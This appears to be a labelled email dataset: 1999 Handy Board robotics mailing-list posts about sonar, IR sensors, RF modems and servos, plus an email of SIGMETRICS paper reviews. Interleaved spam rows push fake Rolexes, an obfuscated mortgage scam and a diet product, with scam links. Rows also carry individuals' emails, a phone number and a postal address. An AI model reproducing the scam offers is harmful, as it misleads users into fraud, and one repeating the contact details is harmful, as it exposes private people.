set and VCR with my HB, because I want it to wake me up e.g. with ""The Simpsons"". So I need some source code to transmit code via the built in IR cirquit. I need to transmit ""TV: switch on"", ""VCR: switch on"" and ""VCR: play"". Did anybody do that before? Any hints appreciated! Alf ",0,0 leadingyou ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 17:09:05 +0800",做动感时代的领导者,精彩手机铃声图片免无限下载！ 每天都有互联网上最新的动感铃声，每天都有互联网上最新的原创图片 赶快点击这里，让你的手机永远领导最炫的动感时代！！,1,1 Tom Brusehaver ,doug@knowpeace.com,"Wed, 17 Feb 1999 08:26:45 -0600",Re: Sonar and RF Modem questions,">1) Is everybody adding the 100uf 16 volt capacitor to prevent > power dips (per http://www.robotics.com/arobot/sonar.html)? > I have to wonder why wirz doesn't ship the boards with > this peice or even recommend it on their web site or in > their documentation. Any opinions would be appreciated. I am using the expander board, and no, I don't have any extra caps. > >2) I like the ""cap"" around the transducer as illustrated in > this picture of the ""RadStamp"" > > http://www.milinst.demon.co.uk/radar.htm > > Does anyone know where I can get such a cap, or what > other (plumbing?) materials you are using? It looks like a PVC coupler, maybe cut in half. Could be an end cap, but then there would have to be foam inside to prevent ringing. These can be purchased at many hardware and most home care stores. >3) I also like how the RadStamp attaches the transducer to > a stepper motor. Any recommendations on an appropriate > motor for such an application, to be driven by the > HB expansion servo control outputs? Would a standard > R/C servo work for this, or do I need a special stepper > motor (or is there a difference in these terms). I have mine on a servo. If you look on this page (second picture down), you can almost tell. Look for where the white ribbon cable goes. On my robot, The sonar cannot turn 360degrees, so having it scan 90 in front works well.",0,1 Stefano Falconetti ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 15:55:24 +0100",Pic and 68hc11board,"Did anyone before used PIC with ""a"" 68hc11 board, to realize a driver or a peripheral device ? Maybe the handyboard does not need it, but other boards like mine...a little different. Thanks for any suggestsions. ",0,0 Lora Cotton ,Lewis ,,fw: look," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://ztflajo130.envelopeamazing.com ",1,1 Phil ,Alf Hendrik Kuchenbuch ,"Wed, 17 Feb 1999 09:00:21 -0600",Re: HB to control a TV set and VCR,"Why not just buy a universal remote control (make sure it works for your TV and VCR of course). Then, take off the faceplate and interface those 3 switches to the outputs?? Saves the hassle of writing a driver for the I/R port.... --phil On Wed, 17 Feb 1999, Alf Hendrik Kuchenbuch wrote: > Hi everyone! > I'd like to control a TV set and VCR with my HB, because I want it to wake > me up e.g. with ""The Simpsons"". So I need some source code to transmit code > via the built in IR cirquit. I need to transmit ""TV: switch on"", ""VCR: > switch on"" and ""VCR: play"". Did anybody do that before? Any hints > appreciated! > Alf > > ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 08:18:30 -0800",Re: Sonar and RF Modem questions,"doug@knowpeace.com wrote: > > 1) Is everybody adding the 100uf 16 volt capacitor to prevent > power dips (per http://www.robotics.com/arobot/sonar.html)? I've heard that the 100uF cap isn't needed when using the HB's standard battery source ... but since I was soldering on the Polaroid board anyway, I decided that it wouldn't hurt to add it. Do be *sure* to add the 0.1 uF cap at C7 as per: http://el.www.media.mit.edu/projects/handy-board/software/sonar.html > > 2) I like the ""cap"" around the transducer as illustrated in > this picture of the ""RadStamp"" Since most of my constructions are LEGO based, I attached my transducer to a LEGO 40-tooth gear using a couple of dabs of rubber cement. > > 3) I also like how the RadStamp attaches the transducer to > a stepper motor. Any recommendations on an appropriate > motor for such an application, to be driven by the > HB expansion servo control outputs? I've got mine mounted on a servo on my BASIC Stamp test 'bot, and intend keeping the same setup when it moves over to the HandyBoard. > > 4) I want to hook up RF transcievers to the handy board > and my laptop for wireless RS232 comms. My RF linking hasn't gotten past the pencil/paper stage yet, but here is another option: http://www.dvp.com/ Most all of my sonar efforts so far have been directed toward software solutions for filtering out unwanted cross-talk. The next step will be to add one (or three) transducers to the single 6500 board. Enjoy, - - - Nick - - -",0,1 Wojtek Kelemen ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 04:37:14 -0700",Re: fifak news,"De n ar Home Ow t ne q r , Your cr k ed j it doesn't matter to us ! If you OW z N real e e st k at r e and want IM g ME y DIA n TE cas x h to s z pen v d ANY way you like, or simply wish to L u OWER your monthly p q aymen b ts by a third or more, here are the dea v ls we have T r OD h AY : $ 4 t 88 , 000 at a 3 , 6 l 7% fi u xed - ra r te $ 37 o 2 , 000 at a 3 e , 90% v t aria q ble - ra i te $ 49 j 2 , 000 at a 3 , e 21% inte k res v t - only $ 2 g 48 , 000 at a 3 , m 36% fi l xed - rat i e $ 1 l 98 , 000 at a 3 , p 55% variabl q e - ra d te H v urry, when these d h eaIs are gone, they are gone ! Don't worry about a e pprova b l, your cr s ed u it will not dis h qualif i y you ! V i isi n t our si l te Sincerely, Wojtek Kelemen Ap c pr x oval Manager",1,1 Stefano Falconetti ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 17:36:52 +0100",Pic and 68hc11board,"Did anyone before used PIC with ""a"" 68hc11 board, to realize a driver or a peripheral device ? Maybe the handyboard does not need it, but other boards like mine...a little different. Thanks for any suggestsions. ",0,0 Aaron Edsinger ,Nick Taylor ,"Tue, 16 Feb 1999 20:50:15 -0800",Re: Sonar and RF Modem questions,"I've been looking into this also. I purchased the Parallax RF module, which is very simple to use. However, it seems to provide a transparent RS232 interface, more is needed than this, or at least some data buffering. Linx technologies provides a wireless rs232 connection out of the box, but its not cheap. Does anyone have any ideas on how to provide an rs-232 interface to a one-way serial data stream (0-5V)? Aaron >> 4) I want to hook up RF transcievers to the handy board >> and my laptop for wireless RS232 comms. >My RF linking hasn't gotten past the pencil/paper stage yet, >but here is another option: >http://www.dvp.com/ > ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 09:23:51 -0800",Re: Sonar and RF Modem questions,"I've used this code to drive a remote serial 4x20 LCD module: http://el.www.media.mit.edu/projects/handy-board/software/serial.html Hope this helps, - - - Nick - - - Aaron Edsinger wrote: > > I've been looking into this also. I purchased the Parallax RF module, which > is very simple to use. However, it seems to provide a transparent RS232 > interface, more is needed than this, or at least some data buffering. Linx > technologies provides a wireless rs232 connection out of the box, but its > not cheap. Does anyone have any ideas on how to provide an rs-232 interface > to a one-way serial data stream (0-5V)? > > Aaron ",0,1 Thomas Heidel ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 18:32:19 +0100",IR ranging unit GP2D02,"Hi, I got a SHARP ""GP2D02"". It is a optical ranging module for a range from 10 to 80cm (4"" to 32"") with a resolution of 8 bit; non-linear ( the near feeld resolution is better ). While it looks like a perfect robot-eye, it looks quit difficould to connect it to the handyboard. I will need 8 short pulses to pull the bits out of that device. Dose anybody know if it is in principle possible to generate a squarewave of 0.2ms wavelenght on a handybord. Sure, the 68hc11-timers do allow it, but since there are other timers are allready running I have some doubts. Thanks for any reply. ",0,0 Steve Wall ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 12:49:49 -0500",RF VIDEO?,"Does anybody out ther have RF wirless video on there 'BOT I want to construct a wirless video transmitter that will send a signal to a near by monitor or computer.. but not the high powered ones that require a FCC license. any suggestions would be helpful. Thank you in advance. ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Mike Jones ,"Steve Wall , handyboard@media.mit.edu, handy ","Wed, 17 Feb 1999 12:40:10 +0600",Re: RF VIDEO?,">Does anybody out ther have RF wirless video on there 'BOT >I want to construct a wirless video transmitter that will send a >signal to a near by monitor or computer.. but not the high powered >ones that require a FCC license. any suggestions would be helpful. I seem to recall seeing serveral kits that weren't too expensive, both online and at the neighborhood electronics parts store. This would commonly be used to transmit video from a single VCR or cable box to any TV in your house. Mike ",0,0 Keith Hearn ,"doug@knowpeace.com, handyboard@media.mit.edu","Wed, 17 Feb 1999 12:02:35 -0800",Re: Sonar and RF Modem questions,"On Feb 17, 1:53am, doug@knowpeace.com wrote: > Subject: Sonar and RF Modem questions > HB fans, > > A few questions for ya ... > > > - I have also looked at the Linx Technologies site > (http://www.linxtechnologies.com/f_modules.html) > but I'm not sure which module would be the best > choice for the HB or how difficult it would be > to interface the module. I just took a look at the Linx site, and while perusing the fine print at the end of the price list came across this: ""Linx requires the purchase of an evaluation kit prior to the sale of individual modules to any customer. This policy insures that each customer has the tools necessary to fairly evaluate our products and legally apply them. In addition, a benchmark platform amoung all our customers allows our engineers the best chance to assist should application difficulties occur."" The cheapest evaluation kit is $139 and is only available for the LC series. The Master kit is $199 for the LC series, $249 for the RM series, and $299 for the HP series. All the evaluation kits come with 2 TX, 2 RX, 2 antennas, plus manuals, evaluation boards, free technical support, and some extras in the master kits. So even though the LC only costs $5.60 for the TX and $11.80 for the RX, you have to spend $139 to get your first 2 pair. The RM series is $16.20 for the TX and $28.30 for the RX, but you have to pay $249 to get your first two pair. The HP runs $23.80 and $34.88, but you pay $299 for the first two pair. This makes them a bit less attractive to a hobbyist like myself. A shame, since they look useful and pretty reasonably priced, except for the evaluation kit requirement. Keith",0,1 Max Davies ,"""alf.kuchenbuch@ofw.pr.siemens.de"" ","Wed, 17 Feb 1999 15:41:38 -0500",Re: HB to control a TV set and VCR,"Alf Hendrik Kuchenbuch wrote: > I'd like to control a TV set and VCR with my HB... Sure, the IR routines at http://WWW.CAM.ORG/~mdavies/HB/ir.htm can do that for you. Just follow the instructions in the readme to find the configurations values for your TV and for your VCR separately, and then in your program switch back and forth between the configurations values on the fly depending on which device you want to transmit to. ",0,1 Chen Yung Hsu ,Steve Wall ,"Wed, 17 Feb 1999 16:45:27 -0500",Re: RF VIDEO?,"my team used a wireless audio/video transceiver we got from radio shack. it connects to the camera and the transceiver can transmit the images to monitor. ",0,0 Mike Jones ,"Keith Hearn , doug@knowpeace.com, handyboard@media.mit.edu","Wed, 17 Feb 1999 15:40:07 +0600",Re: Sonar and RF Modem questions,">I just took a look at the Linx site, and while perusing the fine print > at the end of the price list came across this: > > ""Linx requires the purchase of an evaluation kit prior to the sale of > individual modules to any customer. This policy insures that each > customer has the tools necessary to fairly evaluate our products and > legally apply them. In addition, a benchmark platform amoung all our > customers allows our engineers the best chance to assist should > application difficulties occur."" > >The cheapest evaluation kit is $139 and is only available for the LC > series. The Master kit is $199 for the LC series, $249 for the RM > series, and $299 for the HP series. All the evaluation kits come > with 2 TX, 2 RX, 2 antennas, plus manuals, evaluation boards, free > technical support, and some extras in the master kits. > >So even though the LC only costs $5.60 for the TX and $11.80 for the > RX, you have to spend $139 to get your first 2 pair. The RM series > is $16.20 for the TX and $28.30 for the RX, but you have to pay $249 > to get your first two pair. The HP runs $23.80 and $34.88, but you > pay $299 for the first two pair. > >This makes them a bit less attractive to a hobbyist like myself. > A shame, since they look useful and pretty reasonably priced, except > for the evaluation kit requirement. Maybe a vender could get an eval kit, work through the interfacing issues and kit it for us to buy! That would probably stay within Lynx' licensing agreement and still provide a cost effective solution. Mike ",0,0 brett anthony ,michaelj@wt.net,"Wed, 17 Feb 1999 15:21:03 -0800",RE: Sonar and RF Modem questions," >Maybe a vender could get an eval kit, work through the interfacing issues and >kit it for us to buy! That would probably stay within Lynx' licensing agreement >and still provide a cost effective solution. > >Mike That would be cool. I was looking very closely at the RM and HP series because a few months ago we were investigating data acquisition by telemetry. That project is presently on a back burner, but we may still do it later in the spring. Linx's main issue with selling their stuff is that they need a solid reputation with the FCC for their package RF solutions sold to OEM's. They have lots of literature with titles like ""Surviving FCC Part 15 Compliance Testing."" So...they like to know what you're doing and to hold your hand a lot. They *don't* like the idea of a bunch of Linx modules out there in unknown applications being tweaked about by experimenters. However; a pre-qualified kit... Incidentally, note that the Linx eval kits include *two* complete Tx-Rx pairs with antennas plus boards, power, and documentation, so the prices are really not out of line. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Stuart Drexler ,play99@media.mit.edu,"Wed, 17 Feb 1999 19:03:19 +0100",Toy Concept Map,"Hi there, My site is up: http://gseweb.harvard.edu/~drexlest/toys/toyconcepts.htm Looking forward to working with you all! Stuart ---------------------------------------- Stuart Drexler Email: Stuart_Drexler@gse.harvard.edu Harvard University Graduate School of Education ",0,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Wed, 17 Feb 1999 20:52:24 -0500",Linx Technologies RF Modem,"I purchased the Linx Technologies HP development kit a few months ago, and I couldn't get the PC to communicate with the Handyboard. After swapping the modules around a bit, I found that one of the Receiver modules was not working. I contacted Linx, and they suggested that I talk with one of their applications enginners... One of the possible communications problems I can forsee, however, (even if I get the module replaced) is that the Receiver module has a logic output of 0 - 3V. The Motorola ""Pink Book"" says that the HC11 uses 0 - 5V logic. I hope that by using a NPN transistor and an inverter, I can bring the module's logic levels up to the HC11's. Linx recently updated their HP series modules to give a higher output, so this might not be a problem with the newer modules. In any case, I plan to contact Linx within the next couple of days, and see what they may suggest. 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Gute Infos und ein Interface findes Du http://arielle.informatik.uni-kl.de/Lehre/Praktikum/Erweiterungen_HW.html#PSD Viel Spass Bernd Klein P.S. Was baust Du denn zur Zeit ? Ich beschäftige mich mit SUMO-Roboter. Derzeit baue ich einen 1000g Sumo mit Synchronantrieb. Mit meinem 500g Sumo habe ich erfolgreich einige Kämpfe gewonnen . Thomas Heidel schrieb: > Hi, > > I got a SHARP ""GP2D02"". It is a optical ranging module > for a range from 10 to 80cm (4"" to 32"") with a resolution > of 8 bit; non-linear ( the near feeld resolution is better ). > > While it looks like a perfect robot-eye, it looks > quit difficould to connect it to the handyboard. > I will need 8 short pulses to pull the bits out > of that device. > Dose anybody know if it is in principle possible to > generate a squarewave of 0.2ms wavelenght on a > handybord. Sure, the 68hc11-timers do allow it, > but since there are other timers are allready running > I have some doubts. > > > Thanks for any reply. ",0,1 Jerri Whalen ,"handyboard@media.mit.edu, patsy@media.mit.edu, darla@media.mit.edu, angelique@media.mit.edu, audra@media.mit.edu, joe@media.mit.edu, eva@media.mit.edu","Wed, 17 Feb 1999 23:08:23 -0500",Hoodia - Lose Weight Fast," Hello my friend: Feel Better Look Better. Natural Plant Helps Fight Fat http://137.healtydietingg.com relictg7890hydusih ",1,1 Simon Britnell ,"""handyboard@media.mit.edu"" ","Thu, 18 Feb 1999 11:25:37 +0100",Unsuscribe," I would like to unsuscribe from the mailing list. Thank you ",0,0 Annabelle Corona ,play99@media.mit.edu,"Thu, 18 Feb 1999 02:05:16 -0500",Body Mass v/s Body Fat,"it analytic not belies not wilson ! selena may axisymmetric ",1,0 Darkman ,Handy Board ,"Thu, 18 Feb 1999 09:02:04 -0500",Interrupt routine question,"I'm trying to implement a hardware shaft encoder routine similar to the the one described in the Mobile Robots Book for my Handy Board. I'm using the pulse acumulator for the left encoder and TIC2 for the right shaft encoder. They are both configured to increment the count on the rising edge of the pulse. The shaft encoders are the reflective type with a resolution of 16 clicks /rev. the output of the encoders is conditioned! The problem I encountered is that there is a discrepancy between the pulse accumulator count and the TIC2 count when the input pulse train goes beyond a few cycles and both are fed by the same signal (testing purposes). The pulse accumulator counts are greater than the TIC2 counts. However this problem does not arise if I apply the pulses in a single step manner. The TIC2 is serviced by an interrupt handler routine that is always running. Question: 1) Is this problem caused by the interrupt handler routine missing a pulse? 2) Is it better to implement both shaft encoders in the same interrupt routine? Any suggestions are welcome Thanks in advance Laz ",0,0 Darkman ,Handy Board ,"Thu, 18 Feb 1999 10:19:43 -0500",Interrupt Question,"I'm trying to implement a hardware shaft encoder routine similar to the the one described in the Mobile Robots Book for my Handy Board. I'm using the pulse acumulator for the left encoder and TIC2 for the right shaft encoder. They are both configured to increment the count on the rising edge of the pulse. The shaft encoders are the reflective type with a resolution of 16 clicks /rev. the output of the encoders is conditioned! The problem I encountered is that there is a discrepancy between the pulse accumulator count and the TIC2 count when the input pulse train goes beyond a few cycles and both are fed by the same signal (testing purposes). The pulse accumulator counts are greater than the TIC2 counts. However this problem does not arise if I apply the pulses in a single step manner. The TIC2 is serviced by an interrupt handler routine that is always running. Question: 1) Is this problem caused by the interrupt handler routine missing a pulse? 2) Is it better to implement both shaft encoders in the same interrupt routine? Any suggestions are welcome Thanks in advance Laz ",0,0 Wayne Diamond ,handyboard@media.mit.edu,"Thu, 18 Feb 1999 09:15:08 -0700",please remove me from mailing list,"please remove me from your mailing list it was a lot of help on my robot thanks wayne diamondw@kennecott.com ",0,0 German Madinabeitia ,HANDYBOARD ,"Thu, 18 Feb 1999 20:59:49 +0200",Expansion board,"I´ve some troubles with my expansion board kit. All work fine but: 1. when the motor 0 is set to go back (for example: motor(0,-50)) signal is too low (-0,1 v) red led no lite. 2. I´ve connected a polaroid range module and run sonar.c functions. The values always are between 543 and 560. Is it necesary connect a 0,1µF in polaroid range module ?. Please, send me possible solutions, thanks. ",0,0 Scott Moore ,handyboard@media.mit.edu,"Thu, 18 Feb 1999 12:30:12 -0800",Re: RF VIDEO?," I recall seeing a Video transmitter ""Video sender"" at Biway a while back actually i own one. It transmittes on the UHF and the picture quality is quite good. It's the size a colts package just twice the height, and only $20 Canadian. It has a audio and video input. Subject: Re: RF VIDEO? >Does anybody out ther have RF wirless video on there 'BOT >I want to construct a wirless video transmitter that will send a >signal to a near by monitor or computer.. but not the high powered >ones that require a FCC license. any suggestions would be helpful. I seem to recall seeing serveral kits that weren't too expensive, both online and at the neighborhood electronics parts store. This would commonly be used to transmit video from a single VCR or cable box to any TV in your house. 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Pennington"" ","""handyboard@media.mit.edu"" ","Fri, 19 Feb 1999 02:45:30 +0000",Servos and solenoids,"First, The Handyboard's motor output is 9 volts, does anyone know if Futaba's small servos handle this well? I have two S3003 servos that I'd like to use. Second, Has anyone run a solenoid from a motor output? I'm assuming that it would do fine, PWM would just keep it fixed until the low end. Also, what voltage range do I have for a servo? Too much for a 3 volt, not enough for a 12 volt? Thanks! -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 Wayne Rademacher ,"""J.W. Pennington"" , handyboard@media.mit.edu","Thu, 18 Feb 1999 21:23:18 -0600",Re: Servos and solenoids,"I won't attempt to power your servos with 9v. Those servos are designed to work off a 4.8v battery pack, you'll most likely smoke'm. Wayne -----Original Message----- From: J.W. Pennington To: handyboard@media.mit.edu Date: Thursday, February 18, 1999 8:56 PM Subject: Servos and solenoids >First, >The Handyboard's motor output is 9 volts, does anyone know if Futaba's >small servos handle this well? I have two S3003 servos that I'd like to >use. > >Second, >Has anyone run a solenoid from a motor output? I'm assuming that it >would do fine, PWM would just keep it fixed until the low end. Also, >what voltage range do I have for a servo? Too much for a 3 volt, not >enough for a 12 volt? > >Thanks! >-- >________________________________________ >Jonathan Pennington >-Anthropologist/Geologist >-Linux User and Advocate >-Bart Simpson Sympathizer > >Email at jwp(at)awod.com >_______________________________________",0,0 James Plourde ,Handyboard ,"Thu, 18 Feb 1999 22:31:15 -0500",IR Sensors,"Hi everyone, I've hooked up the QRB1114 infrared sensors to the analog input ports. Although they appear to be operating, their values make little sense. Whether a black or white object is placed in front of the sensor, the Handyboard reads in a low value. This number slowly returns to 255 as the object is pulled further away from the sensor. Makes for a great proximity sensor, but not exactly what I desired. Any suggestions???? I have it hooked up as shown in the HandyBoard manual, 330 ohm resistor and all. Thanks for any input. James ",0,0 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 18 Feb 1999 20:31:53 -0700",JFC/Swing Tutorial - Feb.23,"Salt Lake Java SIG - February Meeting When: Tuesday night, Feb.23, 1999 7:00 - 8:00 PM Where: Room 110 EMCB (Eng.& Mines Classroom Bldg.), UofU Campus Robert Morelli, Paul Hill, and Bill Harris, will present an introduction to JFC (Java Foundation Classes) and Swing at our next meeting. JFC/Swing provides a lightweight, flexible, set of GUI components. It is based upon an MVC (Model-View-Controller) architecture and supports a Programmable-Look-And-Feel (PLAF). Most serious Java programming which involves user interfaces will likely use Swing. Some of the example code is already downloadable from our web site. For more info, go to: http://www.psicomp.com/techsig Thanks, Bill Harris ",0,1 Eric Smiley ,Jon Ryan Schuck ,"Fri, 19 Feb 1999 01:22:36 -0400",Re: MC68HC11A1FN,"BG Micro DOES sell it, I just checked with them last week, and plan on purchasing a couple myself this coming week. They sell it for less than 7 dollars a piece! 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Try again go to shop online and enter 68HC11A1FN in the search field. -----Original Message----- From: Jon Ryan Schuck To: handyboard@media.mit.edu Date: Thursday, February 18, 1999 10:11 PM Subject: MC68HC11A1FN >Does anyone know a good place to purchase the MC68HC11A1FN chip? I >haven't found a single place. Motorola doesn't seem to sell them... >neither does BG MICRO. > >Jon >",0,0 Steve Owens ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 06:08:05 -0800",Re: MC68HC11A1FN," Your message said: >Does anyone know a good place to purchase the MC68HC11A1FN chip? I >haven't found a single place. Motorola doesn't seem to sell them... >neither does BG MICRO. > >Jon > Jon, I had the same question a while back and was overwhelmed with the number of handy board enthusiasts who clued me into BG Micro. I checked their website, searched for MC68HC11A1FN and sure enough! --there it is for less than $7. (Incidentally, it's NOT in their little yellow ""newspaper-print"" catalog. Perhaps that's the source of the mix-up.) Good luck and have a good day. Steve ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Mike Jones ,Handyboard ,"Fri, 19 Feb 1999 08:30:37 +0600",Re: IR Sensors,">Hi everyone, > > I've hooked up the QRB1114 infrared sensors to the analog input ports. >Although they appear to be operating, their values make little sense. >Whether a black or white object is placed in front of the sensor, the >Handyboard reads in a low value. This number slowly returns to 255 as the >object is pulled further away from the sensor. Makes for a great proximity >sensor, but not exactly what I desired. Any suggestions???? I have it >hooked up as shown in the HandyBoard manual, 330 ohm resistor and all. Many optically black materials do not at all affect the IR range of the spectrum. It is possible that your black object is not black (read ""absorbant"") to IR and simply reflects it just like the white. Try several different materials. Many may even be IR transparent and allow objects behind them to reflect and trigger the IR sensor but at a distance you weren't expecting. Mike ",0,0 MAR ERICSON ,Chen Yung Hsu ,"Fri, 19 Feb 1999 09:49:02 -0500",Re: color sensors,"I wonder whether there are some phototransistors out there that have peak sensitivity to a small range of the visible spectrum. Preferably to ""one color"". Can anyone fill in here? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 16 Feb 1999, Chen Yung Hsu wrote: > Hello everyone. =) > I'm currently doing research on sensors for a robot my team is building. > are there such things as color sensors? any other sensor recommendations > would be appreciated > > =) chen > > ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Fri, 19 Feb 1999 10:22:11 -0500",Re: IR Sensors,"James What you see as black and what is black to IR may be different. I did some experiments for a line following race, and found that some black markers actually made the paper reflect IR better than plain white paper. The conclusion of my experiments were that ""Marks A Lot"" permanent marker did the best at absorbing the IR light. Try this and see if your sensor works better. Pherd ",0,0 Mike Jones ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 09:37:17 +0600",Re: color sensors,">I wonder whether there are some phototransistors out there that have peak >sensitivity to a small range of the visible spectrum. Preferably to ""one >color"". Can anyone fill in here? What about putting different color filters in front of a photo transister, like you would on a camera. You could then enhance certain colors by filtering out the others. You may have to deal with some reduction in sensitivity but it may be worth a try. Mike ",0,0 Arthur Tretyak ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 12:12:00 -0600",rc cars and HB- simple questions,"Hello. I've seen several discussions abot RC cars here, and I have two questions trying to verify my findings. Has anyone ever dealt with Radio Shack rc cars? I bought the one that can move back and forth on tracks and also sideways on wheels. So here are my questions 1)what is the current requirements of those motors at peak 2)does anyone know the current rating of the 9.6V battery pack? Thanx -- ************************************* * Arthur Tretyak * * or just Arturchik * * a-tretyak@nwu.edu * ************************************* ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Fri, 19 Feb 1999 13:58:50 -0500",SPI .vs. I2C and Documentation,"Hi all, I've been looking for some way to connect multiple devices (Handyboards, other 68HC11's, PIC's, custom devices, & PC's). From what I can find, I2C is the Phillips protocol which is well documented and supported. (Docs, Specilaized chips, etc...) SPI, on the other hand is built in to the 68HC11 and hence the handyboard. However, I can't seem to find much documentation other than chapter 8 of the Motorola 68HC11 handbook. From scanning this information, I don't find alot of interface chips that can easily implement SPI like there are for I2C. Am I missing something, or are these protocols not really on parallel paths like I thought. Does anyone know of a hobbiest writup on how to interface multiple devices up to the SPI port of the 68HC11? Has anyone sucessfully connected more than 2 devices using the SPI lines of the handyboard? If so, any pointers to docs would be appreciated!!!! Thanks! Gerald ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 12:38:27 -0800",Re: IR Sensors,"James - - Here's a link to the QRB1114 data sheet: http://208.152.152.149/ir/qrb111x.pdf My limited playing has shown two things: one - the sensor is very sensitive to visible light and therefore needs to be used with an auto-calibrate routine. two - you have to be very selective in choosing the marker or tape to use for boundry lines. - - - Nick - - - James Plourde wrote: > I've hooked up the QRB1114 infrared sensors to the analog input ports. > Although they appear to be operating, their values make little sense. > Whether a black or white object is placed in front of the sensor, the > Handyboard reads in a low value. This number slowly returns to 255 as the > object is pulled further away from the sensor. Makes for a great proximity > sensor, but not exactly what I desired. Any suggestions???? I have it > hooked up as shown in the HandyBoard manual, 330 ohm resistor and all. > Thanks for any input. > > James",0,1 Ian Hojnicki ,Handyboard ,"Fri, 19 Feb 1999 15:14:07 -0600",Polaroid Sensors,"I just finished wiring up the HB for dual sonar sensors... A couple of problems... The first and most important is the fact that the values returned look to be completely random and often flipping between positive and negative values... Could this be a wiring problem in that the signals are not going through properly??? I am going to go through the wiring once more... Also the second sensor is not firing at all... I think that I will check the program later on to see if there is a bug or something... Any remarks to help me get this thing working would be greatly appreciated... Ian ",0,0 rich@cs.utk.edu,plank@cs.utk.edu,"Fri, 19 Feb 1999 16:34:50 -0500",STIGMATA 99 reviews,">From pc99@cs.usask.ca Wed Jan 13 11:54 PST 1999 Received: from cs.usask.ca (cs.usask.ca [128.233.130.77]) by gremlin.ucsd.edu (8.9.1a/8.9.1) with ESMTP id LAA23909 for ; Wed, 13 Jan 1999 11:54:31 -0800 (PST) Received: from skorpio.usask.ca (skorpio.usask.ca [128.233.128.5]) by cs.usask.ca (8.9.0/8.9.0) with ESMTP id NAA11620 for ; Wed, 13 Jan 1999 13:59:44 -0600 (CST) Received: (from pc99@localhost) by skorpio.usask.ca (8.9.0/8.9.0) id NAA02444; Wed, 13 Jan 1999 13:54:28 -0600 (CST) Date: Wed, 13 Jan 1999 13:54:28 -0600 (CST) From: Program Chair - SIGMETRICS 99 Message-Id: <199901131954.NAA02444@skorpio.usask.ca> To: rich@cs.ucsd.edu Subject: 1999 ACM SIGMETRICS paper 1035.5144 reviews Content-Type: text Content-Length: 22256 Status: O ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : PC member Reviewer: 0-0 Originality: [ 2] Technical merit: [ 2] Readability: [ 3] Relevance: [ 3] Overall rating: [ 2] Recommended Action: Weak Reject ---Comments for the Author--- In this paper, the authors discussed forecasts of CPU availability on time-shared Unix systems. In general, I feel although the application that the authors studied is very interesting, the technical contents of this paper are weak and need to be improved, In the first part of the paper, the authors discussed measurement using ""uptime"", ""vmstat"" and a probe process. The equations (1) and (5) are not clear to me. I am not convinced the forms of these two equations and how they related to each other. It seems that the cpu_availability computed in Equations (1) and (2) are not the same thing as that of the probe process. Therefore, I doubt whether the measurement accuracy section (section 2.2) is meaningful. Another factor effecting the accuracy of measurement is the stochastic nature of a probe process and the two measures. However, this was not considered by the authors. In the second part of the paper, the authors discussed results of prediction. By looking at the figures (1) and (3), it looks like that the CPU_availability has periodic components as evidenced by auto-correlation function. This should be explained. Also, since the authors used one-day-long data, I doubt whether the data is stationary and whether the approaches generally used for a stationary process is still valid. In addition, the authors stated ""self-similarity is often interpreted as an indication of unpredictability"". I would not agree this statement because it has been known that long-range dependency may help prediction (see reference [1]). [1] Jan Beran. ""Statistics for Long-Memory Processes"", Chapman & Hall, 1994. ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : PC member Reviewer: 0-1 Originality: [2] Technical merit: [2] Readability: [3] Relevance: [3] Overall rating: [2] Recommended Action: Weak Reject ---Comments for the Author--- This paper considers the problem of predicting available CPU performance to support dynamic schedulers, motivated partly by recent advancements in distributed system environments. The basic problem I have with this paper is that it makes a relatively small technical contribution to the field that is not sufficient to warrant acceptance in the Sigmetrics program. Most of the methods used in section 3 assume that the time series is stationary, but the authors do not seem to have tested for stationarity. These tests must be performed (if they haven't been) and the paper needs to describe the results of these tests. If the time series data is not stationary (which wouldn't be surprising), then most of the methods in section 3 are not being correctly applied. Also, were the experiments presented in section 2 repeated for different days and periods? If so, then these results should be presented. If not, then the authors should conduct more than a single set of experiments and present these results in section 2. ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : PC member Reviewer: 1-0 Originality: [1] Technical merit: [1] Readability: [2] Relevance: [1] Overall rating: [1] Recommended Action: Reject ---Comments for the Author--- This paper presents a measurement study on the efficacy of a method for measuring CPU availability in order to effectively schedule applications in a meta-computing setting. Via measurements, the author(s) illustrate the effectiveness of two Unix utilities to measure load versus the NWS sensor that combines both Unix utilities to compute the network load. The experimental platform is composed by three graduate 